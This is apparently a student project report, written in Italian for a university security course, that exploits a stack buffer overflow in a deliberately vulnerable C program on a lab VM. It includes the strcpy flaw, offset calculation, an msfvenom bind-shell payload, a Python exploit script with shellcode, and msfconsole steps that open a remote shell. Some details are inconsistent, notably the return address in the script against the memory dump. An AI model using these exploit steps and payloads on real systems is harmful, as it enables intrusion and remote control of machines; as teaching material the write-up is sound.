



SAPIENZA
UNIVERSITÀ DI ROMA

Stack Buffer Overflow

Progetto per l'esame di Sicurezza.
Facoltà di Ingegneria Informatica, Informatica e Statistica.

Gentili Simone - 1977848
Zavaleta Alessandra - 2145832
Kourahi Fatima - 2130726

Introduzione

Con il termine “buffer overflow” o “buffer overrun” ci si riferisce al fenomeno in cui un processo scrive più dati all'interno di un buffer di quanti quest'ultimo riesca a contenere, sovrascrivendo le zone di memoria adiacenti.

L'obiettivo del progetto è di sfruttare una vulnerabilità Stack Buffer Overflow, un particolare tipo di buffer overflow che ha luogo all'interno della porzione di memoria dedicata allo stack di un processo, al fine di ottenere una shell sul sistema vulnerabile.

Requisiti

Al fine di raggiungere l'obiettivo richiesto, le seguenti entità software sono state predisposte:

- Programma vulnerabile
- Sistema Operativo vulnerabile
- Exploit

Programma vulnerabile

Il programma in oggetto è stato opportunamente realizzato facendo uso del linguaggio di programmazione C (GCC 16.1.1). Tale applicazione permette ai suoi utenti di formattare testo in modo personalizzato e legge il testo da formattare dallo standard input. Quando l'input fornito eccede la capacità del buffer, adoperato dal programma per contenerlo, si verifica uno stack buffer overflow.

L'utilizzo del linguaggio di programmazione C per l'implementazione del programma vulnerabile è strettamente legato alle caratteristiche del medesimo. Nello specifico, il compilatore utilizzato per la generazione del codice macchina

non introduce alcun controllo sugli accessi in lettura e scrittura della memoria, rendendolo quindi adatto agli scopi del progetto.

La seguente porzione di codice sorgente, utilizzata internamente dal programma in oggetto, mostra la presenza di una vulnerabilità SBO in corrispondenza della funzione strcpy. Quest'ultima copia il contenuto del secondo argomento (buf) all'interno del primo argomento (vulnbuf). Non effettuando alcun controllo sulla lunghezza degli input, la funzione strcpy può copiare più dati di quanti il buffer di destinazione sia in grado di contenere.

```
char vulnbuf[256];
char* buf = malloc(sizeof(char) * 512);
size_t len = 0;
int c;

while ((c = getchar()) != EOF && len < 511) {
    buf[len++] = (char) c;
}
buf[len] = '\\0';

strcpy(vulnbuf, buf);
```

In particolare, se la lunghezza dell'input supera i 255 bytes, l'invocazione del codice sopra mostrato provoca un overflow nel buffer vulnbuf. Affinché sia possibile sfruttare tale overflow per soddisfare le richieste del progetto, le seguenti opzioni di compilazione sono state fornite al compilatore:

-z execstack

Abilita l'esecuzione di codice nello stack

-fno-stack-protector

Disabilita stack protector

-no-pie

Genera un eseguibile con indirizzi fissi nel segmento del codice

Sistema Operativo vulnerabile

Per ragioni di praticità e presentazione, una Virtual Machine è stata installata e configurata. A tal proposito, un sistema operativo basato sul kernel Linux è stato utilizzato e la randomizzazione del layout dello spazio di indirizzi dei processi (ASLR) è stata disattivata con il seguente comando shell:

```
echo 0 > /proc/sys/kernel/randomize_va_space
```

La disattivazione di ASLR è necessaria, specialmente in architetture a 64 bit, per rendere deterministico il posizionamento dello spazio di indirizzi di un processo, indispensabile per l'esecuzione dell'exploit.

L'exploit

Nello sviluppo dell'exploit sono stati utilizzati diversi strumenti, come gdb e metasploit. Il GNU debugger (gdb) è stato utilizzato per analizzare, verificare e testare la vulnerabilità: dapprima utilizzando campioni di input utili a mostrare la sovrascrittura dell'indirizzo di ritorno salvato nello stack (facendo uso di one-liner perl) e poi, fornendo in input l'exploit opportunamente costruito. Al fine di stabilire l'esatta distanza tra l'indirizzo base del buffer e l'indirizzo di ritorno (necessaria a stabilire la corretta dimensione dello shellcode), è stata effettuata l'analisi del codice disassemblato della funzione vulnerabile.

```
push    %rbp
mov     %rsp,%rbp
sub     $0x120,%rsp
...
lea     -0x120(%rbp),%rax
mov     %rdx,%rsi
mov     %rax,%rdi
call    0x4003b0 <strcpy@plt>
...
leave
ret
```

Come mostrato in figura, il primo argomento della funzione strcpy (rdi) corrisponde all'indirizzo base del buffer di interesse. Il contenuto del registro rdi è stato calcolato sottraendo al base pointer (rbp) il valore esadecimale 120, che in decimale corrisponde a 288. Quest'ultimo valore rappresenta il numero di bytes necessari a raggiungere il base pointer salvato nello stack a partire dall'indirizzo del buffer. Per raggiungere l'indirizzo di ritorno (salvato dall'istruzione call al momento della invocazione della funzione), 8 bytes di base pointer devono essere conteggiati ai 288 bytes calcolati in precedenza, per un totale di 296 bytes. Dopo il calcolo della distanza è stato possibile generare il payload, compito svolto con l'ausilio del framework Metasploit. Il seguente comando shell produce un payload avente una lunghezza di 119 bytes e compatibile con il sistema operativo ed architettura del sistema target. Una volta eseguito, il payload esegue i seguenti passaggi:

1. Crea un socket TCP in ascolto sulla porta 4444 e attende una connessione
2. Mappa 4096 bytes nella memoria del processo
3. Attende la ricezione di dati e li salva all'interno della memoria mappata
4. Esegue i dati salvati

```
msfvenom --platform linux \
--arch x64 \
--bad-chars '\x00' \
--payload linux/x64/shell/bind_tcp \
--format python
```

L'opzione `-bad-chars '\x00'` istruisce `msfvenom` di non utilizzare il null byte (0x00) all'interno del payload. Questa opzione è necessaria in quanto lo shellcode viene copiato nel buffer dalla funzione `strcpy`. Essendo `strcpy` progettata per copiare stringhe terminate dal carattere nullo, la presenza di un null byte all'interno del payload farebbe terminare anticipatamente la copia. Di conseguenza, solo una parte del payload verrebbe copiata nel buffer, compromettendone il corretto funzionamento.

Dopo aver creato il payload, resta da calcolare la lunghezza del nop sled, padding e il nuovo indirizzo di ritorno. 60 bytes di nop sled sono stati utilizzati, lasciando quindi 117 bytes di padding. Infine, per calcolare il nuovo indirizzo di ritorno, l'analisi della porzione di memoria dello stack successivamente alla chiamata della funzione `strcpy` è stata effettuata.

```
...
0x7fffff816: 0x9090909090909090 0x9090909090909090
0x7fffff826: 0x9090909090909090 0x9090909090909090
0x7fffff836: 0x9090909090909090 0x9090909090909090
0x7fffff846: 0x3148909090909090 0xfffff6e98148c9
0x7fffff856: 0x48fffff058d48 0x94dd6bd1fda48ebb
0x7fffff866: 0xf82d4827583148d4 0xa58de4f4e2ffffff
0x7fffff876: 0xf2fa8fbecbdf0148 0xff808a13c64a23d4
0x7fffff886: 0xedce685ddc817ad1 0x97fd8bdbcccec018b
0x7fffff896: 0xd6ce189c91d233e3 0xf4ced182c4d86489
0x7fffff8a6: 0xb072079c846bf289 0xfa16d495b6b7a2e0
0x7fffff8b6: 0xf2fb199c02956ede 0x414141d4943b94d4
0x7fffff8c6: 0x4141414141414141 0x4141414141414141
...
```

Dalla porzione di memoria mostrata risulta che l'indirizzo 0x7fffff826 costituisce un valido candidato per sovrascrivere l'indirizzo di ritorno salvato nello stack. Uno script in Python è stato realizzato per mettere insieme i componenti dello shellcode.

```
import sys
from struct import pack

buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\x48\xbb\x8e\xa4\xfd\xd1\x6b"
buf += b"\xdd\x94\xd4\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xe4\x8d\xa5\x48\x01\xdf\xcb\xbe\x8f"
buf += b"\xfa\xf2\xd4\x23\x4a\xc6\x13\x8a\x80\xff\xd1\x7a"
buf += b"\x81\xdc\x5d\x68\xce\xed\x8b\x01\xec\xcc\xdb\x8b"
buf += b"\xfd\x97\xe3\x33\xd2\x91\x9c\x18\xce\xd6\x89\x64"
buf += b"\xd8\xc4\x82\xd1\xce\xf4\x89\xf2\x6b\x84\x9c\x07"
buf += b"\x72\xb0\xe0\xa2\xb7\xb6\x95\xd4\x16\xfa\xde\x6e"
```

```

buf += b"\x95\x02\x9c\x19\xfb\xfb\xfd\x94\x3b\x94\xfd"

distance_to_ra = 296
nopsled = b"\x90" * 60
padding = b"A" * (distance_to_ra - len(nopsled) - len(buf))
address = pack("<Q", 0xffffffff826)

sys.stdout.buffer.write(nopsled + buf + padding + address)

```

Esecuzione dell'exploit

Dopo aver realizzato le 3 entità richieste è stato possibile lanciare l'attacco. L'attacco è strutturato in 2 fasi.

Fase 1

In questa fase, il programma vulnerabile viene eseguito fornendo in input lo shellcode generato in precedenza. Sulla VM predisposta viene quindi eseguito il seguente comando.

```
payload-gen.py | ftext
```

Quando eseguito con successo, il comando esposto provocherà l'esecuzione del payload e la predisposizione della fase 2.

Fase 2

In quest'ultima fase, msfconsole, uno strumento del framework Metasploit, è stato utilizzato per connetterci al socket TCP aperto nella fase 1 e l'esecuzione del secondo payload, un codice di 38 bytes che ci permette di ottenere una shell sulla virtual machine.

```

msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set PAYLOAD payload/linux/x64/shell/bind_tcp
PAYLOAD => linux/x64/shell/bind_tcp
msf exploit(multi/handler) > set RHOST 192.168.122.21
RHOST => 192.168.122.21
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run

```

Dopo l'esecuzione del comando run, msfconsole ci notifica con un messaggio dell'avvenuta esecuzione di una shell remota, comunicante attraverso una connessione TCP tra l'indirizzo del sistema target 192.168.122.21 e l'interfaccia di rete della macchina ospitante la VM con indirizzo 192.168.122.1.

```

[*] Started bind TCP handler against 192.168.122.21:4444
[*] Sending stage (38 bytes) to 192.168.122.21

```

[*] Command shell session 1 opened (192.168.122.1:39189 -> 192.168.122.21:4444)

A questo punto è possibile eseguire comandi arbitrari sul sistema target da una connessione remota, con i medesimi permessi del programma vulnerabile, realizzando quindi le richieste del progetto.